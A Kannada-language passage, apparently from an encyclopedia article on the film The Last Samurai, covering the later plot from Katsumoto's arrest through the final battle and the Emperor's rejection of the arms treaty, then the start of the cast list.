ನಿರಾಕರಿಸುತ್ತಾನೆ. ಒಂದು ವೇಳೆ ತಮ್ಮ ಆಶಯಗಳ ಕುರಿತು ಕಾಟ್ಸುಮೊಟೊನನ್ನು ಆಲ್‌ಗ್ರೆನ್‌‌ ಎಚ್ಚರಿಸಿದ್ದೇ ಆದಲ್ಲಿ, ಆಲ್‌ಗ್ರೆನ್‌‌ನನ್ನು ಸಾಯಿಸುವಂತೆ ಒಮುರಾ ತನ್ನ ಜನರಿಗೆ ರಹಸ್ಯವಾಗಿ ಆದೇಶಿಸುತ್ತಾನೆ. ಅದೇ ವೇಳೆಗೆ, ಕಾಟ್ಸುಮೊಟೊ ತನ್ನ ಸಲಹೆಯನ್ನು ಹಿಂದೊಮ್ಮೆ ತನ್ನ ವಿದ್ಯಾರ್ಥಿಯಾಗಿದ್ದ ಯುವ ಚಕ್ರವರ್ತಿಯ ಮುಂದೆ ಪ್ರಸ್ತಾವಿಸುತ್ತಾನೆ. ಸಿಂಹಾಸನದ ಮೇಲಿನ ಚಕ್ರವರ್ತಿಯ ಹಿಡಿತವು ತಾನು ಯೋಚಿಸಿದ್ದಕ್ಕಿಂತಲೂ ದುರ್ಬಲವಾಗಿದೆ ಎಂಬುದು, ಮತ್ತು ಆತ ಅತ್ಯಾವಶ್ಯಕವಾಗಿ ಒಮುರಾನ ಓರ್ವ ಕೈಗೊಂಬೆಯಾಗಿದ್ದಾನೆ ಎಂಬುದು ಅವನಿಗೆ ಅರಿವಾಗುತ್ತದೆ. ಸಮುರಾಯ್‌‌ಗಳು ಬಹಿರಂಗವಾಗಿ ಕತ್ತಿಗಳನ್ನು ಒಯ್ಯುವುದನ್ನು ನಿಷೇಧಿಸುವ ಹೊಸ ಕಾನೂನುಗಳನ್ನು ಪಾಲಿಸಲು ಕಾಟ್ಸುಮೊಟೊ ತಿರಸ್ಕರಿಸಿದಾಗ, ಅವನನ್ನು ಬಂಧಿಸಿ ಟೋಕಿಯೊದಲ್ಲಿನ ಅವನ ನಿವಾಸದಲ್ಲಿ ಕೂಡಿಹಾಕಲಾಗುತ್ತದೆ. ಕಾಟ್ಸುಮೊಟೊ ಮೇಲೆ ಒಂದು ಹತ್ಯೆಯ ಪ್ರಯತ್ನವಾಗಬಹುದು ಎಂದು ನಿರೀಕ್ಷಿಸುವ ಆಲ್‌ಗ್ರೆನ್‌‌ ನೇರವಾಗಿ ಅವನ ನಿವಾಸದ ಬಳಿಗೆ ತೆರಳುತ್ತಾನಾದರೂ, ಹೊಂಚಿಕಾಯುತ್ತಿದ್ದ ಒಮುರಾನ ಜನರಿಂದ ಹಠಾತ್‌ ದಾಳಿಗೊಳಗಾಗುತ್ತಾನೆ; ತಾನು ಕಾಟ್ಸುಮೊಟೊನ ಶಿಬಿರದಲ್ಲಿದ್ದಾಗ ಕಲಿತಿದ್ದ ಕದನ ಕಲೆಗಳನ್ನು ವಿವೇಚನಾಯುಕ್ತವಾಗಿ ಬಳಸುವ ಮೂಲಕ ಆಲ್‌ಗ್ರೆನ್‌‌ ಸ್ವಲ್ಪದರಲ್ಲಿಯೇ ಸಾವನ್ನು ತಪ್ಪಿಸಿಕೊಳ್ಳುತ್ತಾನೆ. ಉಜಿಯೊ, ನೊಬುಟಾಡ, ಮತ್ತು ಗ್ರಹಾಂ ನೆರವಿನೊಂದಿಗೆ ಕಾಟ್ಸುಮೊಟೊನನ್ನು ಆಲ್‌ಗ್ರೆನ್‌‌ ಬಂಧನದಿಂದ ಮುಕ್ತನಾಗಿಸುತ್ತಾನೆ. ಅವರ ಪಲಾಯನದ ಸಂದರ್ಭದಲ್ಲಿ, ನೊಬುಟಾಡ ಮಾರಕವಾಗಿ ಗಾಯಗೊಳ್ಳುತ್ತಾನೆ ಮತ್ತು ತನ್ನ ತಂದೆಯ ತಪ್ಪಿಸಿಕೊಳ್ಳುವಿಕೆಗೆ ನೆರವಾಗಲು ಉಳಿದುಕೊಳ್ಳುತ್ತಾನೆ; ಕೇವಲ ತುಪಾಕಿಯ ಗುಂಡಿನ ಸುರಿಮಳೆಗಳಿಂದ ಮಾತ್ರವೇ ಸಾಯಿಸಲ್ಪಡಬಹುದಾದ ತನ್ನ ವೈರಿಗಳ ಮೇಲೆ ಮಾರಕವಾಗಿ ಗಾಯಗೊಂಡ ನೊಬುಟಾಡನು ಆಕ್ರಮಣ ಮಾಡುವಾಗ ಆಲ್‌ಗ್ರೆನ್‌ ಸುಮ್ಮನೇ ಪ್ರೇಕ್ಷಕನಂತೆ ನೋಡುತ್ತಿರುತ್ತಾನೆ. ಒಮುರಾ ಮತ್ತು ಬ್ಯಾಗ್ಲೆಯಿಂದ ಆದೇಶಿಸಲ್ಪಟ್ಟ ಚಕ್ರಾಧಿಪತ್ಯದ ಒಂದು ಬೃಹತ್‌‌‌ ಸೇನಾ ತುಕಡಿಯು ಸಮುರಾಯ್‌‌‌ಗಳನ್ನು ಎದುರಿಸಲು ಶಿಸ್ತಿನಿಂದ ಸಾಗುತ್ತಿದೆ ಎಂಬ ಮಾಹಿತಿಯನ್ನು ಕಾಟ್ಸುಮೊಟೊ ಸ್ವೀಕರಿಸಿದಾಗ, ತನ್ನ ಮಗನನ್ನು ಕಳೆದುಕೊಂಡಿದ್ದರ ಕುರಿತಾಗಿ ಅವನಿನ್ನೂ ಶೋಕಿಸುತ್ತಿರುತ್ತಾನೆ. ಕೇವಲ ೫೦೦ ಸಂಖ್ಯೆಯಲ್ಲಿರುವ ಸಮುರಾಯ್‌ಗಳ ಒಂದು ಪ್ರತಿದಾಳಿಯ-ಪಡೆಯು ಜಮಾವಣೆಗೊಳ್ಳುತ್ತದೆ. ಥರ್ಮೊಪೈಲೆ ಕದನದ ಉದಾಹರಣೆಯನ್ನು ಆಲ್‌ಗ್ರೆನ್‌‌ ನೀಡುತ್ತಾ, ಸರಿಸುಮಾರು ೨೫೦,೦೦೦ಕ್ಕಿಂತಲೂ ಹೆಚ್ಚಿದ್ದ (ಈ ಸಂಖ್ಯೆಯು ೧ ದಶಲಕ್ಷದಷ್ಟಿತ್ತು ಎಂಬುದಾಗಿ ಆಲ್‌ಗ್ರೆನ್‌‌ ಪ್ರತಿಪಾದಿಸುತ್ತಾನೆ) ಪರ್ಷಿಯನ್ನರ ಒಂದು ಬೃಹತ್‌ ಎದುರಾಳಿ ಪಡೆಯೊಂದಿಗೆ ಕೇವಲ ೩೦೦ ಮಂದಿ ಸ್ಪಾರ್ಟದವರನ್ನು ಒಳಗೊಂಡಿದ್ದ ಒಂದು ಸಣ್ಣ ಸೈನ್ಯವು ಹೇಗೆ ಹೋರಾಡಿತು ಎಂಬುದನ್ನು ವಿವರಿಸುತ್ತಾನೆ ಮತ್ತು ಹೀಗೆ ಎದುರಿಸುವಾಗ ಸದರಿ ಚಿಕ್ಕ ಸೈನ್ಯವು ಶತ್ರುವಿನ ಅತಿಯಾದ ಆತ್ಮವಿಶ್ವಾಸ ಹಾಗೂ ಭೂಪ್ರದೇಶವನ್ನು ಹೇಗೆ ತನ್ನ ಪ್ರಯೋಜನಕ್ಕೆ ತಕ್ಕಂತೆ ಬಳಸಿಕೊಂಡಿತು ಎಂದು ತಿಳಿಸುತ್ತಾನೆ; ಇದೇ ರೀತಿಯ ಒಂದು ಯುದ್ಧತಂತ್ರವು ತಮ್ಮ ಶತ್ರುಗಳ ಫಿರಂಗಿವಿದ್ಯೆಯ ಪರಿಣಾಮಕಾರಿತ್ವವನ್ನು ತಗ್ಗಿಸುತ್ತದೆ ಎಂದು ಆಲ್‌ಗ್ರೆನ್‌‌ ತರ್ಕಿಸುತ್ತಾನೆ. ಕದನದ ಮುನ್ನಾದಿನದಂದು, ಆಲ್‌ಗ್ರೆನ್‌ಗೆ ಅವನದೇ ಆದ ಕಟಾನವನ್ನು ನೀಡಲಾಗುತ್ತದೆ. ಟಾಕಾ ಕೂಡಾ ತನ್ನ ಮೃತ ಗಂಡನ ರಕ್ಷಾಕವಚವನ್ನು ಅವನಿಗೆ ನೀಡುತ್ತಾಳೆ, ಮತ್ತು ಆಲ್‌ಗ್ರೆನ್‌‌ ಅಲ್ಲಿಂದ ಹೊರಡುವುದಕ್ಕೆ ಮುಂಚಿತವಾಗಿ ಅವರಿಬ್ಬರು ಪರಸ್ಪರ ಚುಂಬಿಸಿಕೊಳ್ಳುತ್ತಾರೆ. ಸಮುರಾಯ್‌‌ಗಳ ದಂಗೆಕೋರ ಪಡೆಗೆ ಚಕ್ರಾಧಿಪತ್ಯದ ಸೇನೆಯು ಮುಖಾಮುಖಿಯಾಗಿ ನಿಂತಾಗ, ಸಮುರಾಯ್‌‌ಗಳು ಎತ್ತರದ ಪ್ರದೇಶಕ್ಕೆ ಹಿಮ್ಮೆಟ್ಟುತ್ತಾರೆ ಮತ್ತು ತನ್ಮೂಲಕ ಚಕ್ರಾಧಿಪತ್ಯದ ಪಡೆಗಳು ತಮ್ಮ ಅತ್ಯುತ್ಕೃಷ್ಟ ಸಿಡಿಮದ್ದುಗಳ ಶಕ್ತಿಯನ್ನು ಬಳಸುವುದು ತಪ್ಪಿದಂತಾಗುತ್ತದೆ. ನಿರೀಕ್ಷಿಸಿದಂತೆ, ಸಮುರಾಯ್‌‌ಗಳನ್ನು ಒಂದು ಬಲೆಯೊಳಗೆ ಕೆಡವಲು ಮುಂದುವರಿಯುವಂತೆ ಪದಾತಿ ಸೈನ್ಯಕ್ಕೆ ಒಮುರಾ ತತ್‌ಕ್ಷಣ ಆದೇಶಿಸುತ್ತಾನೆ. ಶತ್ರುವಿನ ತತ್‌ಕ್ಷಣದ ಹೋರಾಟದ ಬಲವನ್ನು ಅರ್ಧದಲ್ಲಿಯೇ ತುಂಡರಿಸುವ ಸಲುವಾಗಿ, ಸಮುರಾಯ್‌ಗಳು ಅಗ ಪದಾತಿದಳದ ಸೈನಿಕರ ಮೇಲೆ ಬಾಣಗಳ ಸುರಿಮಳೆಗರೆಯುತ್ತಾರೆ. ತಮ್ಮ ಕತ್ತಿಗಳನ್ನು ಸೆಳೆಯುವ ಮೂಲಕ ಸಮುರಾಯ್‌ಗಳು, ಅದರಲ್ಲೂ ಮುಖ್ಯವಾಗಿ ಆಲ್‌ಗ್ರೆನ್‌‌ ಮತ್ತು ಕಾಟ್ಸುಮೊಟೊ, ಗೊಂದಲಗೊಂಡ ಮತ್ತು ಗಾಯಗೊಂಡ ಪದಾತಿದಳದ ಸೈನಿಕರ ಮೇಲೆ ದಾಳಿಮಾಡುತ್ತಾರೆ. ಚಕ್ರಾಧಿಪತ್ಯದ ಪದಾತಿ ಸೈನ್ಯದ ಎರಡನೇ ಅಲೆಯೊಂದು ಹಿಂಬಾಲಿಸಿಕೊಂಡು ಬರುತ್ತದೆ ಮತ್ತು ಅದೇ ರೀತಿಯಲ್ಲಿ ಸಮುರಾಯ್‌‌ ಅಶ್ವಸೈನ್ಯವೂ ಬರುತ್ತದೆ; ಇದರ ಪರಿಣಾಮವಾಗಿ ಒಂದು ನಿರ್ದಯದ ಉಗ್ರ ಹೋರಾಟವು ನಡೆದು, ಚಕ್ರಾಧಿಪತ್ಯದ ಯೋಧರು ಅಂತಿಮವಾಗಿ ಹಿಮ್ಮೆಟ್ಟುವುದಕ್ಕೆ ಮುಂಚಿತವಾಗಿ ಎರಡೂ ಕಡೆಗಳಲ್ಲಿ ಅನೇಕರು ಸಾವನ್ನಪ್ಪುತ್ತಾರೆ. ಚಕ್ರಾಧಿಪತ್ಯದ ಹೊಸ ಪಡೆಗಳು ಬರುತ್ತಿವೆ ಎಂಬುದನ್ನು ಹಾಗೂ ಎರಡನೆಯ ಕದನವು ನಡೆದರೆ ಸೋಲುವಿಕೆಯು ಅನಿವಾರ್ಯ ಎಂಬುದನ್ನು ಮನಗಾಣುವ ಬದುಕುಳಿದಿರುವ ಸಮುರಾಯ್‌ಗಳು, ಒಂದು ಅಂತಿಮವಾದ, ವಿಧಿ-ಆರೋಪಿತ ಅಶ್ವಾರೋಹಿ ಆಕ್ರಮಣವನ್ನು ನಡೆಸಲು ನಿರ್ಣಯಿಸುತ್ತಾರೆ. ಕದನದ ಸಂದರ್ಭದಲ್ಲಿ, ಕಾಟ್ಸುಮೊಟೊನ ಭುಜಕ್ಕೆ ಬ್ಯಾಗ್ಲೆ ಗುಂಡುಹಾರಿಸುತ್ತಾನೆ, ಆದರೆ ಸಮುರಾಯ್‌‌ಗಳನ್ನು ಅವನು ಮುಗಿಸುವುದಕ್ಕೆ ಮುಂಚಿತವಾಗಿಯೇ ಬ್ಯಾಗ್ಲೆಯೆಡೆಗೆ ತನ್ನ ಕತ್ತಿಯನ್ನು ಬೀಸುವ ಆಲ್‌ಗ್ರೆನ್‌‌ ಅವನನ್ನು ಸಾಯಿಸುತ್ತಾನೆ. ಚಕ್ರಾಧಿಪತ್ಯದ ಸೇನೆಯ ಹಿಂದಿನ ಸಾಲನ್ನು ಸಮೀಪಿಸಿದ ಮೇಲೆ ಮತ್ತು ಒಮುರಾನನ್ನು ಹೆದರಿಸುವಷ್ಟರ ಮಟ್ಟಿಗೆ ಸಾಕಷ್ಟು ಮುಂದುವರೆದ ಮೇಲೆ, ಸಮುರಾಯ್‌ಗಳು ಗೊಂಚಲುಕೋವಿ ಫಿರಂಗಿಯ ಗುಂಡಿನ ದಾಳಿಯಿಂದ ಅಂತಿಮವಾಗಿ ಸಾಯಿಸಲ್ಪಡುತ್ತಾರೆ. ಸಾಯುತ್ತಿರುವ ಸಮುರಾಯ್‌ನ ನೋಟವನ್ನು ದಾಟಿಕೊಂಡು ಬರುವ, ಮೂಲತಃ ಆಲ್‌ಗ್ರೆನ್‌‌ನಿಂದ ತರಬೇತಿಯನ್ನು ಪಡೆದಿರುವ ಚಕ್ರಾಧಿಪತ್ಯದ ಓರ್ವ ಲೆಫ್ಟಿನೆಂಟ್‌, ಒಮುರಾನ ಇಚ್ಛೆಗೆ ವಿರುದ್ಧವಾಗಿ ಕದನ ವಿರಾಮವನ್ನು ಜಾರಿಗೆ ತರಲು ಗೊಂಚಲುಕೋವಿ ಫಿರಂಗಿಗಳ ಪಡೆಗಳಿಗೆ ಆದೇಶಿಸುತ್ತಾನೆ. ಬುಷಿಡೊವನ್ನು ಆಚರಿಸುತ್ತಿದ್ದ ಕಾಟ್ಸುಮೊಟೊ, ಹೊಟ್ಟೆಬಗೆತವನ್ನು ನಿರ್ವಹಿಸುವಲ್ಲಿ ತನಗೆ ನೆರವಾಗುವಂತೆ ಆಲ್‌ಗ್ರೆನ್‌‌ನನ್ನು ಕೇಳಿಕೊಳ್ಳುತ್ತಾನೆ; ಆಲ್‌ಗ್ರೆನ್‌‌ ಅದನ್ನು ಪಾಲಿಸಿದಾಗ ಕಾಟ್ಸುಮೊಟೊನ ಜೀವ ಕೊನೆಗೊಳ್ಳುತ್ತದೆ. ಕೆಳಗೆಬಿದ್ದ ಸಮುರಾಯ್ ಸಮ್ಮುಖದಲ್ಲಿ ತಲೆಬಾಗಿಸುವ ಮೂಲಕ ಚಕ್ರಾಧಿಪತ್ಯದ ಪಡೆಗಳು ತಮ್ಮ ಗೌರವವನ್ನು ಸಲ್ಲಿಸುತ್ತವೆ. ನಂತರ, ಜಪಾನಿ ಸರ್ಕಾರಕ್ಕೆ ಫಿರಂಗಿ-ಬಂದೂಕುಗಳನ್ನು ಮಾರಾಟಮಾಡುವುದಕ್ಕೆ USಗೆ ಏಕಮಾತ್ರದ ಹಕ್ಕುಗಳನ್ನು ನೀಡುವ ಒಡಂಬಡಿಕೆಯೊಂದಕ್ಕೆ ಚಕ್ರವರ್ತಿಯು ಸಹಿಹಾಕುವಂಥ ಭೂಮಿಕೆಯನ್ನು ಅಮೆರಿಕಾದ ರಾಯಭಾರಿಗಳು ಸಜ್ಜುಗೊಳಿಸುತ್ತಿದ್ದಂತೆ, ಕಾಟ್ಸುಮೊಟೊನ ಕತ್ತಿಯನ್ನು ಆಲ್‌ಗ್ರೆನ್‌‌ ಒಂದು ಕಾಣಿಕೆಯಾಗಿ ಚಕ್ರವರ್ತಿಗೆ ನೀಡುತ್ತಾನೆ. ಈ ಸಂದೇಶವನ್ನು ಅರ್ಥಮಾಡಿಕೊಳ್ಳುವ ಚಕ್ರವರ್ತಿಯು, ಸದರಿ ಒಡಂಬಡಿಕೆಯ ವ್ಯವಹಾರವು ಜಪಾನ್‌ನ ಅತ್ಯುತ್ತಮ ಹಿತಾಸಕ್ತಿಗಳಿಗೆ ವಿರುದ್ಧವಾಗಿದೆ ಎಂಬುದಾಗಿ ಅಮೆರಿಕಾದ ರಾಯಭಾರಿಗೆ ತಿಳಿಸುತ್ತಾನೆ. ಇದಕ್ಕೆ ಒಮುರಾ ಆಕ್ಷೇಪಿಸಿದಾಗ, ತಾನು ಒಮುರಾನಿಂದ ಆಳುವಿಕೆಗೆ ಒಳಗಾಗುವ ಅಗತ್ಯವಿಲ್ಲ ಎಂಬುದನ್ನು ಮನಗಾಣುವ ಚಕ್ರವರ್ತಿಯು, ಅವನೆಲ್ಲಾ ಆಸ್ತಿಪಾಸ್ತಿಗಳು ಮತ್ತು ಸಂಪತ್ತುಗಳನ್ನು ವಶಪಡಿಸಿಕೊಳ್ಳುತ್ತಾನೆ. ಒಮುರಾ ಪ್ರತಿಭಟಿಸಲು ಪ್ರಯತ್ನಿಸಿದಾಗ, ಒಂದು ವೇಳೆ ಸಹಿಸಲು ಅಸಾಧ್ಯವಾಗುವಷ್ಟರ ಮಟ್ಟಿಗೆ ಅಗೌರವವು ಮಹತ್ತರವಾಗಿ ಕಂಡುಬಂದಲ್ಲಿ ಹೊಟ್ಟೆಬಗೆತವನ್ನು ಮಾಡಿಕೊಳ್ಳಲೆಂದು, ಚಕ್ರವರ್ತಿ ಅವನಿಗೆ ಕಾಟ್ಸುಮೊಟೊನ ಕತ್ತಿಯನ್ನು ನೀಡುತ್ತಾನೆ. ಒಮುರಾ ಹಾಗೇಸುಮ್ಮನೆ ತನ್ನ ತಲೆಯನ್ನು ತಗ್ಗಿಸಿಕೊಂಡು, ಅಲ್ಲಿಂದ ಹೊರನಡೆಯುತ್ತಾನೆ. ಸೈಮನ್‌ ಗ್ರಹಾಂನಿಂದ ಒದಗಿಸಲ್ಪಟ್ಟ ಒಂದು ನಿರೂಪಣೆಯ ಅಡಿಯಲ್ಲಿ, ಸಮುರಾಯ್‌‌ ಹಳ್ಳಿಗೆ ಮತ್ತು ಟಾಕಾಳ ಕಡೆಗೆ ಆಲ್‌ಗ್ರೆನ್‌ ಹಿಂದಿರುಗುವುದರೊಂದಿಗೆ ಚಲನಚಿತ್ರವು ಮುಕ್ತಾಯಗೊಳ್ಳುತ್ತದೆ. "ನಾವೆಲ್ಲರೂ ಬಯಸುವ, ಮತ್ತು ನಮ್ಮಲ್ಲಿ ಕೆಲವೇ ಮಂದಿಗೆ ದೊರೆಯುವ" ಶಾಂತಿಯ ಒಂದು ವಿಧಾನವನ್ನು ಆಲ್‌ಗ್ರೆನ್‌ ಕಂಡುಕೊಂಡಿದ್ದಾನೆ ಎಂಬುದಾಗಿ ಗ್ರಹಾಂ ತಾತ್ತ್ವಿಕವಾಗಿ ತೀರ್ಮಾನಿಸುತ್ತಾನೆ. ==ಪಾತ್ರವರ್ಗ== *[[ಟಾಮ್‌ ಕ್ರೂಸ್‌]]: ವಾಷಿತಾ ನದಿಯ ಬಳಿಯಲ್ಲಿ ನಡೆದ ದೇಶೀಯ ಅಮೆರಿಕನ್‌‌ ನಾಗರಿಕರ ಹತ್ಯಾಕಾಂಡದಿಂದ ಪದೇ ಪದೇ ಕಾಡಿಸಲ್ಪಟ್ಟ, [[ಅಮೇರಿಕಾದ ಅಂತಃಕಲಹ|ನಾಗರಿಕ ಯುದ್ಧ]] ಮತ್ತು ಭಾರತದ ಯುದ್ಧಗಳ ಓರ್ವ ಮಾಜಿ ಯೋಧನಾದ ಕ್ಯಾಪ್ಟನ್‌ ನಾಥನ್‌ ಆಲ್‌ಗ್ರೆನ್‌‌ ಪಾತ್ರದಲ್ಲಿ ಇವನು ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ. ಆಲ್‌ಗ್ರೆನ್‌‌ [[ಬ್ರಿಟೀಷ್ ಸಾಮ್ರಾಜ್ಯ|ಬ್ರಿಟಿಷ್‌ ಸಾಮ್ರಾಜ್ಯ]]ದಲ್ಲಿ ಹುಟ್ಟಿದವನಾದರೂ ಸಹ, ಅವನೊಬ್ಬ ದೇಶೀಕರಿಸಲ್ಪಟ್ಟ ಅಮೆರಿಕನ್‌ ಆಗಿರುತ್ತಾನೆ. ತಾನು ಮಾಡುತ್ತಿದ್ದ ಉದ್ಯೋಗದಿಂದ ವಜಾಗೊಳಿಸಲ್ಪಟ್ಟಾಗ, ಒಂದು ಭಾರೀ ಮೊತ್ತದ ಹಣಕ್ಕೆ ಪ್ರತಿಯಾಗಿ, ಮೆಯಿಜಿ ಪುನಃ-ಪ್ರತಿಷ್ಠಾಪನೆಯ ಸರ್ಕಾರದ ಒತ್ತಾಯದ ದಾಖಲಾತಿಯ ಮೊದಲ ಪಾಶ್ಚಾತ್ಯ-ಶೈಲಿಯ ಸೇನೆಗೆ ತರಬೇತು ನೀಡುವ ಮೂಲಕ ಆ ಸರ್ಕಾರಕ್ಕೆ ನೆರವಾಗಲು ಅವನು ಸಮ್ಮತಿಸುತ್ತಾನೆ. ಸೇನೆಯ ಮೊದಲ ಕದನದ ಅವಧಿಯಲ್ಲಿ ಸಮುರಾಯ್‌‌ ಕಾಟ್ಸುಮೊಟೊನಿಂದ ಅವನು ಸೆರೆಹಿಡಿಯಲ್ಪಟ್ಟು, ಕಾಟ್ಸುಮೊಟೊನ ಮಗನ ಹಳ್ಳಿಗೆ ಕರೆದೊಯ್ಯಲ್ಪಡುತ್ತಾನೆ; ಅಲ್ಲಿ ಆತನಿಗೆ ಸಮುರಾಯ್‌ಗಳ ಕಾರ್ಯಾಚರಣಾ ವಿಧಾನದಲ್ಲಿ ಆಸಕ್ತಿ ಹುಟ್ಟುತ್ತದೆ ಮತ್ತು ಅವರ ಉದ್ದೇಶದಲ್ಲಿ ತಾನೂ ಸೇರಿಕೊಳ್ಳಲು ಅವನು ನಿರ್ಧರಿಸುತ್ತಾನೆ. ಸಂಪ್ರದಾಯಶರಣ ಜಪಾನಿಯರ ಸಂಸ್ಕೃತಿಯ ಕುರಿತಾದ ಅವನ ಅನಿಸಿಕೆಗಳನ್ನು ಅವನ ದಿನಚರಿಯ ನಮೂದುಗಳು ಹೊರಗೆಡಹುತ್ತವೆ, ಮತ್ತು ಹೆಚ್ಚೂಕಮ್ಮಿ ಕೆಲವೇ ಸಮಯದಲ್ಲಿ ಅವು ಹೊಗಳಿಕೆಯಾಗಿ ಮಾರ್ಪಡುತ್ತವೆ. *ಕೆನ್‌ ವತಾನಬೆ: ಸಮುರಾಯ್‌‌ ಧಣಿ ಕಾಟ್ಸುಮೊಟೊ ಪಾತ್ರದಲ್ಲಿ ಇವನು ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ; ಹಿಂದೊಮ್ಮೆ ಚಕ್ರವರ್ತಿ ಮೆಯಿಜಿಯ ಅತ್ಯಂತ ನಂಬುಗೆಯ ಶಿಕ್ಷಕನಾಗಿದ್ದ ಈತ ಓರ್ವ ಯೋಧ-ಕವಿಯಾಗಿರುತ್ತಾನೆ. ಶ್ರೀಮಾನ್‌‌ ಒಮುರಾನ ಅಧಿಕಾರಿಶಾಹಿಯ ಸುಧಾರಣಾ ಕಾರ್ಯನೀತಿಗಳಿಂದ ಅಸಂತೋಷಕ್ಕೆ ಒಳಗಾಗುವ ಈತ, ಚಕ್ರಾಧಿಪತ್ಯದ ಸೇನೆಯ ವಿರುದ್ಧ ಒಂದು ಬಂಡಾಯವನ್ನು ಸಂಘಟಿಸಲು ಮುಂದಾಗುತ್ತಾನೆ. ನಿಜ ಜೀವನದ ಸಮುರಾಯ್‌‌ ಸೈಗೋ ಟಕಾಮೊರಿಯ ಮೇಲೆ ಕಾಟ್ಸುಮೊಟೊ ಪಾತ್ರವು ಅಸ್ಪಷ್ಟವಾಗಿ ಆಧರಿಸಿದೆ. *ಶಿನ್‌ ಕೊಯಮಡಾ: ನೊಬುಟಾಡ ಪಾತ್ರದಲ್ಲಿ ಇವನು ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ; ಈತ ಕಾಟ್ಸುಮೊಟೊನ ಮಗನಾಗಿದ್ದು, ಸಮುರಾಯ್‌ಗಳು ಶಿಬಿರಹೂಡಿದ್ದ ಹಳ್ಳಿಯ ಧಣಿಯಾಗಿರುತ್ತಾನೆ ಮತ್ತು ಆಲ್‌ಗ್ರೆನ್‌ಗೆ ಈತ ಸಹಾಯಮಾಡುತ್ತಾನೆ. ಜಪಾನಿಯರ ಜೀವನಕ್ರಮವಾದ ಜಪಾನಿಯರ ಸಂಸ್ಕೃತಿ ಮತ್ತು ಜಪಾನಿಯರ ಭಾಷೆಯನ್ನು ಆಲ್‌ಗ್ರೆನ್‌‌ಗೆ ಬೋಧಿಸುವಂತೆ ನೊಬುಟಾಡನಿಗೆ ಸಮುರಾಯ್ ನಾಯಕನಾದ ಕಾಟ್ಸುಮೊಟೊ ಸಲಹೆ ನೀಡುತ್ತಾನೆ. *ಟೋನಿ ಗೋಲ್ಡ್‌ವಿನ್‌‌: ಲೆಫ್ಟಿನೆಂಟ್‌ ಕರ್ನಲ್‌‌ ಬ್ಯಾಗ್ಲೆಯ ಪಾತ್ರದಲ್ಲಿ ಇವನು ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ; ೮ನೇ ಅಶ್ವಸೈನ್ಯದ ಪಡೆಯಲ್ಲಿ ಕ್ಯಾಪ್ಟನ್‌‌ ಆಲ್‌ಗ್ರೆನ್‌‌ನ ಆದೇಶಾಧಿಕಾರಿಯಾಗಿದ್ದ ಈತನಿಗೆ ಚಕ್ರಾಧಿಪತ್ಯದ ಸೇನೆಗೆ ತರಬೇತು ನೀಡುವ ಹೊಣೆಹೊರಿಸಲಾಗಿತ್ತು. ಆಲ್‌ಗ್ರೆನ್‌‌ ತನ್ನ ದಿಗ್ಭ್ರಮೆಯಿಂದ ಗುಣಹೊಂದಿ ಆಚೆಬರಲು ಅವಕಾಶ ಮಾಡಿಕೊಡದ ದೇಶೀಯ ಅಮೆರಿಕನ್ನರ ವಾಷಿತಾ ನದಿ ಹತ್ಯಾಕಾಂಡದಲ್ಲಿ ಬ್ಯಾಗ್ಲೆ ವಹಿಸಿದ್ದ ಪಾತ್ರದಿಂದಾಗಿ ಅವನೆಡೆಗೆ ಆಲ್‌ಗ್ರೆನ್‌‌ಗೆ ಒಂದು ರೀತಿಯ ತಿರಸ್ಕಾರವಿರುತ್ತದೆ. ಕಥೆಯ ಒಂದು ಫ್ಲಾಶ್‌ಬ್ಯಾಕ್‌ನಲ್ಲಿ, ಭಾರತೀಯರ ಶಿಬಿರದಲ್ಲಿನ ಮಕ್ಕಳು ಮತ್ತು ಮಹಿಳೆಯರನ್ನು ಬ್ಯಾಗ್ಲೆಯು ಕೊಲ್ಲುತ್ತಿರುವುದನ್ನು ನಾವು ಕಾಣಬಹುದು. ಜನರಲ್‌ ಕಸ್ಟರ್‌‌‌ನೊಂದಿಗೆ (''"ತನ್ನದೇ ದಂತಕಥೆಯೊಂದಿಗೆ ಪ್ರೀತಿಯಲ್ಲಿ ಸಿಲುಕಿದ ಓರ್ವ ಕಲೆಗಾರ"'' ಎಂಬುದಾಗಿ ಇವನ ಕುರಿತು ಆಲ್‌ಗ್ರೆನ್‌‌ ಉಲ್ಲೇಖಿಸುತ್ತಾನೆ) ಬ್ಯಾಗ್ಲೆಯು ನಿಕಟವಾದ ಹೋಲಿಕೆಯನ್ನು ಹೊಂದಿರುತ್ತಾನೆ. ಅಂತಿಮ ಕದನದಲ್ಲಿ, ಬ್ಯಾಗ್ಲೆಯ ಎದೆಯೆಡೆಗೆ ಆಲ್‌ಗ್ರೆನ್‌‌ ತನ್ನ ಕತ್ತಿಯನ್ನು ಬೀಸಿದಾಗ, ಆಲ್‌ಗ್ರೆನ್‌‌ನಿಂದ ಬ್ಯಾಗ್ಲೆಯ ಸಾವು ಸಂಭವಿಸುತ್ತದೆ. *ಮಸಾಟೊ ಹರಾಡಾ: ಒಮುರಾ ಪಾತ್ರದಲ್ಲಿ ಇವನು ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ; ಚಲನಚಿತ್ರದ ಪ್ರಮುಖ ಪ್ರತಿನಾಯಕನಾದ ಈತ, ಓರ್ವ ಕೈಗಾರಿಕೋದ್ಯಮಿ ಮತ್ತು ಸುಧಾರಣಾ-ಪರ ರಾಜಕಾರಣಿಯಾಗಿದ್ದು, ಹಳೆಯ ಸಮುರಾಯ್‌‌ ಮತ್ತು ಷೋಗನ್‌ ಸಂಬಂಧಿತ ಜೀವನಶೈಲಿಯನ್ನು ಇಷ್ಟಪಡದವನಾಗಿರುತ್ತಾನೆ. ತನ್ನ ರೈಲುಮಾರ್ಗಗಳ ಮೂಲಕ ತನಗಾಗಿ ಹಣ ಮಾಡಿಕೊಳ್ಳುವಾಗ, ಪಾಶ್ಚಾತ್ಯೀಕರಣ ಮತ್ತು ಆಧುನೀಕರಣವನ್ನು ಅವನು ಶೀಘ್ರವಾಗಿ ಬಳಸಿಕೊಳ್ಳುತ್ತಾನೆ. ಸಮುರಾಯ್‌‌ ಆಳ್ವಿಕೆಯ ದಿನಗಳ ಅವಧಿಯಲ್ಲಿ ದಮನಮಾಡಲ್ಪಟ್ಟ, ಮತ್ತು ಅವರ ಕುಲೀನತೆಯೆಡೆಗಿನ ಅವನ ಪರಮಾವಧಿಯ 